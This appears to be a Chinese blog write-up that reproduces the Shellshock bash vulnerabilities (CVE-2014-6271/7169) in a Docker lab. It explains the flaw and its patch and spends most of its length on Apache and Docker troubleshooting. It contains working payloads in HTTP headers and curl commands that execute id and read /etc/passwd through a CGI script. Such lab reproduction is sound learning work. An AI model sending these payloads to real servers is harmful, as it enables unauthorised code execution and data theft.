詳細的漏洞復現:Shellshock CVE-2014-6271 CVE-2014-7169
- 2019 年 10 月 3 日
- 筆記
前言
巨詳細的復現過程等你來!因為遇到了很多問題,因此目錄做的詳細一些,方便大家查看和搜索對自己有用的內容。
復現過程是在我踩過很多坑後按照應該做的步驟梳理後的流程,目的是希望你可以一次成功不用遇到問題後各種填坑。如果你遇到不明白我為什麼要採取一些看似無關的環境配置步驟的情況,可以到4. 遇到的問題
中看我的探索過程,希望可以提示你。
漏洞原理
Bash支援通過進程環境導出shell變數和shell函數到子進程的其他的bash實例中。現有的bash版本使用環境變數實現這一過程。環境變數以函數名命名,以「() { }」作為環境變數的值傳送函數定義。由於bash處理函數定義後仍會繼續解析和執行跟在函數定義後的shell命令導致遠程任意程式碼執行。
核心原因:沒有嚴格限制輸入的邊界,沒有合法化的參數判斷。
詳見:https://seclists.org/oss-sec/2014/q3/650
安天實驗室對CVE-2014-6271破殼漏洞進行了詳細的分析,且提供了其他參考資料。
例子:
VAR=() { ignored; }; /bin/id
當上述環境變數導入bash進程時將執行/bin/id
。
解決方案:安裝修補程式。在修補程式中主要進行了參數的合法性過濾,修補程式程式在/builtins/evalstring.c的parse_and_execute函數中進行了輸入的command進行了合法性的邊界檢測。(CVE-2014-6271 的修補不夠完善,導致CVE-2014-7169。)
利用方式
需要以下條件:
- 遠程服務會調用bash。(創建bash子進程)
- 遠程服務允許用戶定義環境變數。
- 遠程服務調用子bash時載入了用戶定義的環境變數。
攻擊向量:
- 對CGI腳本的HTTP請求(bash命令可能出現的位置有:請求方法,路徑,伺服器協議,Header的值(Referer、host、UserAgent等)。還可能出現在查詢字元串,查詢字元串變數名)
- OpenSSH(通過AcceptEnv,TERM,SSH_ORIGINAL_COMMAND)
- 涉及其他需要額外編程設置的環境變數的情況
復現過程
這部分的核心流程是按照安天實驗室的一篇分析文檔做的,其中增加了我填過的坑,幫助大家更順利的進行復現。最近看了幾篇安天的分析,安天在我心裡的地位噌噌地上漲,感恩。
提示1
:我在復現過程中遇到了很多坑,如果你按流程走出現問題,可以去4. 遇到的問題
找找有沒有對應的解決辦法。
提示2
:最好把流程都看完再操作!可以對照4. 遇到的問題
瀏覽各步驟可能存在的問題,做到心中有數,提前應對。中間遇到好多坑,先大致看完流程可能會少走彎路。
Nessus was able to exploit the issue using the following request :
GET /xampp/cgi.cgi HTTP/1.1
Host: 目標IP
Accept-Charset: iso-8859-1,utf-8;q=0.9,;q=0.1
Accept-Language: en
Connection: Keep-Alive
User-Agent: () { ignored; }; echo Content-Type: text/plain ; echo ; echo ; /usr/bin/id;
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, /
1. 環境準備
本文使用虛擬機里的Ubuntu系統,docker,現有的shellshock鏡像hmlio/vaas-cve-2014-6271
。
(1) 為容器配置固定IP地址
為了後續訪問方便,先為容器配置固定的IP地址,可以參考這個教程。(當然也可以不設置固定)
-
首先創建自定義網路:
docker network create --subnet=172.18.0.0``/16 mynetwork
-
在創建docker容器時為其配置IP地址和埠映射
docker run -it --net mynetwork --ip 172.18.0.3 -p 80:80 hmlio/vaas-cve-2014-6271 /bin/bash
注意
:確保創建容器時沒有使用相同埠映射的容器正在運行,否則將提示錯誤,無法創建容器。出現該問題時,可以使用dockr ps
查看正在運行的容器,使用docker stop 容器ID
將其停止即可。
(2) 查看bash版本
bash --version
確認是存在shellshock漏洞的bash版本。
2. 本地驗證:測試鏡像系統是否存在漏洞
測試payload:env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
測試發現鏡像系統存在漏洞。
3. 遠程模擬驗證(原理驗證)
以下是針對我們選用的鏡像進行復現的完整流程,是我多次從坑裡跳出來後重新梳理總結的,具體的解決問題的思路摸索過程可以到4. 遇到的問題
查找。
(1) 查看容器apache服務配置
apache的配置文件是/etc/apache2/sites-enabled/000-default。
我用的鏡像沒有vi和vim,因此需要自己下載安裝。
首先要更新源,然後再安裝vim。如下,將每條命令順序單獨執行。(參考這個操作就ok了。必須感謝!)
mv /etc/apt/sources.list /etc/apt/sources.list.bak echo "deb http://mirrors.163.com/debian/ jessie main non-free contrib" >/etc/apt/sources.list echo "deb http://mirrors.163.com/debian/ jessie-proposed-updates main non-free contrib" >>/etc/apt/sources.list echo "deb-src http://mirrors.163.com/debian/ jessie main non-free contrib" >>/etc/apt/sources.list echo "deb-src http://mirrors.163.com/debian/ jessie-proposed-updates main non-free contrib" >>/etc/apt/sources.list #安裝更新源 apt-get update #安裝vim apt-get install vim
安裝完成後
vim /etc/apache2/sites-enabled/000-default
打開配置文件,找到下面兩句:
DocumentRoot /var/www
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin
修改為:
DocumentRoot /var/www/html
ScriptAlias /cgi-bin/ /var/www/html/cgi-bin/
添加:
AddHandler cgi-script .cgi .pl .sh .py
修改完成的配置文件如下:
ScriptAlias /cgi-bin/ /var/www/html/cgi-bin/ <Directory "/var/www/html/cgi-bin/"> AddHandler cgi-script .cgi .pl .sh .py AllowOverride None Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch Order allow,deny Allow from all </Directory>
注意
:開始我以為<Directory "/var/www/html/cgi-bin/">
路徑要與上一行的DocumentRoot路徑一致。但是我測試發現如果使用原有的<Directory "/usr/lib/cgi-bin">
也是可以的。
(2) 編輯測試文件
注意
:vim創建多層目錄下的文件時,需要手動創建好中間路徑,否則編輯後無法保存。
創建多層目錄:mkdir -p /var/www/html/cgi-bin
vim /var/www/html/cgi-bin/test.sh
#!/bin/bash echo "Content-type: text/html" echo ""
一定要把#!/bin/bash
放在首行,不能有空行!!!
給測試文件賦予執行許可權,ls -l /var/www/html/cgi-bin/test.sh
查看文件許可權。
更改文件許可權:chmod 777 /var/www/html/cgi-bin/test.sh
」777「表示讀寫執行許可權,如果想了解不同許可權的對應數字,具體可以搜索Linux文件許可權去學習。
(3) 重啟apache服務
/etc/init.d/apache2 restart
使用service apache2 restart
也是可以的。
(4) 遠程測試
開啟一個新的終端,使用如下命令進行遠程測試:
curl -H 'x: () { :;};a=
/bin/cat /etc/passwd;echo $a' 'http://IP地址/cgi-bin/test.sh' -I
命令中可改變a=/bin/cat /etc/passwd
;echo $a為任意命令進行執行。
當我們測試成功後,若把容器提交為鏡像,再次用成功的鏡像創建容器後也要重啟apache服務才能被遠程curl。
docker ps
查看正在運行的鏡像,記錄容器ID。
docker commit 容器ID 新的鏡像名
提交鏡像。
疑問
:為什麼要在目標機上寫一個bash文件,這樣攻擊時已具有寫許可權,不需再利用shellshock漏洞就能執行程式碼了吧?
思考
:
- bash文件可以是利用其他漏洞進行的文件上傳的,而非直接寫入,因此不代表攻擊者需要擁有寫許可權。
- 即使攻擊者擁有寫許可權,也不代表有執行許可權來執行bash。
- shellshock是為bash文件提供了一種執行方式,沒有執行許可權的攻擊者可以使其運行。
4. 遇到的問題
在這一小節總結了復現過程中遇到的問題,為方便大家閱讀,標題格式確定為問題概述–>解決思路。我會將做過的嘗試都記錄下來,最後一次的嘗試方法是能真正解決問題的方法,請大家根據自己的需求進行選擇閱讀。
注
:此部分截圖是我的各次嘗試匯總到一起的,因此容器ID不是相同的,前後使用的IP地址也可能是不同的,可以忽略這些細節。
(1) Kali無法開啟偽終端–>Ubuntu
發現用Kali無法開啟偽終端,而且docker run -it
後容器自動停止,沒有找到有效的解決辦法,因此改用Ubuntu。有了解原因的同學請指導指導我,到底怪Kali還是怪我。
(2)遠程訪問需要容器的IP地址–>為容器配置固定IP地址
開啟容器bash後
不能查看容器的IP地址了,這讓我很尷尬呀。
嘗試1:將容器放到後台,在虛擬機用docker命令查看。
Ctrl+p+q
把容器掛入後台,docker ps
可以看到該容器進入後台運行,狀態顯示為up
。使用docker exec -it 容器ID IP addr
查看容器的IP地址。
直接在虛擬機內查詢ifconfig
。–> 這種方式是完全錯誤的。因為docker0是宿主機為docker容器分配的默認網關,不是容器的IP。
疑問
:虛擬機查容器IP與在虛擬機用ifconfig
查到的docker0的IP不同。
思考
:docker0是宿主機為docker容器分配的默認網關,不是容器的IP。
嘗試2:在容器內安裝net-tools。
apt-get install net-tools
即可直接在容器內部使用ifconfig
查詢IP地址。可以看到與在虛擬機查容器IP的值是一樣的。
(3) 鏡像未安裝vim,且安裝出錯–>安裝需更新源
使用vim命令出錯,發現未安裝vi和vim
使用apt-get install vim
安裝出錯,使用apt-get update
仍舊無法完成安裝,問題是更新源太舊了。
需要重新編輯sources.list,但是現在沒有vim,搜索方法,發現按這個操作就ok了。逐條運行下面各命令:
mv /etc/apt/sources.list /etc/apt/sources.list.bak
echo "deb http://mirrors.163.com/debian/ jessie main non-free contrib" >/etc/apt/sources.list
echo "deb http://mirrors.163.com/debian/ jessie-proposed-updates main non-free contrib" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/debian/ jessie main non-free contrib" >>/etc/apt/sources.list
echo "deb-src http://mirrors.163.com/debian/ jessie-proposed-updates main non-free contrib" >>/etc/apt/sources.list
//安裝更新源
apt-get update
//安裝vim
apt-get install vim
(4) vim自動創建多層目錄下的文件時出錯–>需要手動創建好中間路徑
直接使用vim /var/www/html/cgi-bin/test.sh
創建並編輯測試文件,編輯好保存以後提示錯誤,無法保存。
嘗試1:懷疑是許可權問題,使用sudo(雖然已經是root用戶了,不應該存在這種問題)
我今天才知道,sudo也是要安裝的#_#,使用apt-get install sudo
即可安裝。但是,用sudo還是不行,仍舊出現相同問題。
嘗試2:目錄創建問題,直接手動創建好目錄——成功
無意中看到有人說,vim自動創建文件需要自己創建好中間路徑,姑且一試,嗯……好了。因為我沒注意少了兩層目錄,於是就一層一層創建的,如果想要一次創建多層目錄,使用mkdir -ppparent/child/grandson
。
(5) 遠程測試時無法連接–>給容器配置埠映射
curl -H 'x: () { :;};a=
/bin/cat /etc/passwd;echo $a' 'http://IP地址/cgi-bin/test.sh' -I
返回:
CURLE_COULDNT_CONNECT(7):connect()的主機或代理失敗。目測是因為容器的埠沒有映射到主機埠,所以沒辦法連接。
嘗試1:修改容器的埠
之前試過docker run -p 80:80,可是80埠已被佔用,沒映射過去。因此先考慮修改容器的埠,使其可以映射。
vim /etc/apache2/sites-enabled/000-default
編輯apache配置文件,將其埠改為90。
/etc/init.d/apache2 restart
重啟apache服務。
docker ps
查看正在運行的鏡像,記錄容器ID。
docker commit 容器ID 新的鏡像名
提交鏡像。
docker run -p 80:90 -it 鏡像名稱 /bin/bash
在創建容器時添加埠映射。
此時可以看到有兩個正在運行的容器,新開的容器埠變為90,映射到虛擬機的80埠。
依舊無法遠程測試,失敗!
嘗試2:檢查虛擬機埠轉發是否開啟
cat /proc/sys/net/ipv4/ip_forward
查看埠轉發情況,返回1,說明埠轉發是開啟的。
嘗試3:考慮埠映射是否有問題–>發現沒有問題
嘗試4:檢查是否虛擬機的埠未開啟
用telnet測試發現無法連接,那麼就首先開啟虛擬機的80埠。Ubuntu系統使用ufw防火牆進行設置。詳見https://www.cnblogs.com/EasonJim/p/7595213.html 和 https://jingyan.baidu.com/article/ac6a9a5e317b7c2b653eacde.html。
發現開啟了80埠依舊無法連接。
嘗試5:推翻重建——重新進行埠映射配置。——成功
實在是沒有新的思路了,最終,我決定,重新進行埠映射配置。首先將之前改的apache的90埠再改回到80,重啟apache服務。
接下來查看並刪除原來的埠映射
再重新創建一條新的映射,將虛擬機的80埠映射到容器80埠。
再次嘗試遠程連接。(看到一個教程說訪問時由於是由虛擬機映射到容器,因此,地址可以使用虛擬機IP地址,也可以使用容器IP地址,我就都試了一下)
兩種訪問方式:用虛擬機IP和容器IP
用虛擬機IP訪問
用容器IP訪問
現在可以遠程訪問了。
(6) 可以連接後HTTP 500並且沒有返回應有的資訊–>apache錯誤日誌發現腳本無法執行,修改腳本錯誤
嘗試1:查看並確保測試文件有可執行許可權:ls -l /var/www/html/cgi-bin/test.sh
修改文件許可權:chmod 777 /var/www/html/cgi-bin/test.sh
對解決問題有幫助,但仍然無法徹底解決問題。
嘗試2:檢查cgi配置(已經處在一種死馬當活馬醫的狀態中…)
檢查是否有cgi模組:/usr/sbin/apache2ctl -M | grep cgi
返回cgid_module(shared)
說明已有該模組。
檢查是否配置載入:vim /etc/apache2/mods-enabled/cgi.load
返回結果說明已經載入:
嘗試3:檢查apache配置文件
vim /etc/apache2/sites-enabled/000-default
發現cgi-bin的directory是不一致的,修改一致。但是後面測試發現此處不一致也是可以的。這是怪我不懂得apache配置文件的實質啊。
嘗試4:檢查是否測試文件存在問題,apache本身就不能執行該文件,而非配置問題
檢查各種配置沒問題,最後有個問答里的這句話點醒了我:
「You get 403 error not only if your apache configs aren’t these directories allowed, but if even apache doesn’t have the permission to reach this directory.」–from ?(點擊笑臉查看詳情)
於是我去查看apache的錯誤日誌cat /var/log/apache2/error.log
發現:
[error] (8)Exec format error: exec of '/var/www/html/cgi-bin/test.sh' failed
果然,去查為什麼出現這種錯誤,是test.sh文件沒有以#!/bin/bash
開頭,前面有個空行。。。應該是我修改過測試文件的空格後忘記提交鏡像了,所以修改沒有保存。而且反思一下,明明是HTTP 500,就說明伺服器內部有問題了呀,我還一門心思覺得是連接問題,想辦法找配置的錯誤,真是傻了。
後悔沒有早點查日誌!!!
總結
這次復現過程不是很順利,主要原因還是對docker不夠熟悉,自己給自己設置了很多障礙,而且本身對apache服務的相關配置不熟悉,走一步試一步學一步。最後發現問題的時候,就一句話:」這件事告訴我們,及時查看日誌發現問題尤其重要!!!「
雖然多有曲折,但是有曲折就有機會接觸更多的知識點,收穫很大,而且鍛煉了發現bug解決bug的能力,也是很值得的。
最後,本來想把做好的鏡像放到docker hub上分享出來,因為訪問不了註冊頁面不能註冊暫時沒有成功。?
參考資料
原理分析:
https://yq.aliyun.com/articles/53608
https://seclists.org/oss-sec/2014/q3/650
https://www.freebuf.com/news/48331.html
復現:
https://www.cnblogs.com/iamstudy/articles/CVE-2014-6271_shellshock.html
https://www.cnblogs.com/wfzWebSecuity/p/11203366.html
https://www.antiy.com/response/CVE-2014-6271.html
https://blog.csdn.net/shengun_xiansen/article/details/78519191
https://blog.csdn.net/haitunmin/article/details/74931617
https://blog.csdn.net/u013870094/article/details/84929822s
shttps://www.cnblogs.com/EasonJim/p/7595213.html
https://jingyan.baidu.com/article/ac6a9a5e317b7c2b653eacde.html
https://blog.csdn.net/per_se_veran_ce/article/details/99959506(完全自己搭建環境的復現方式)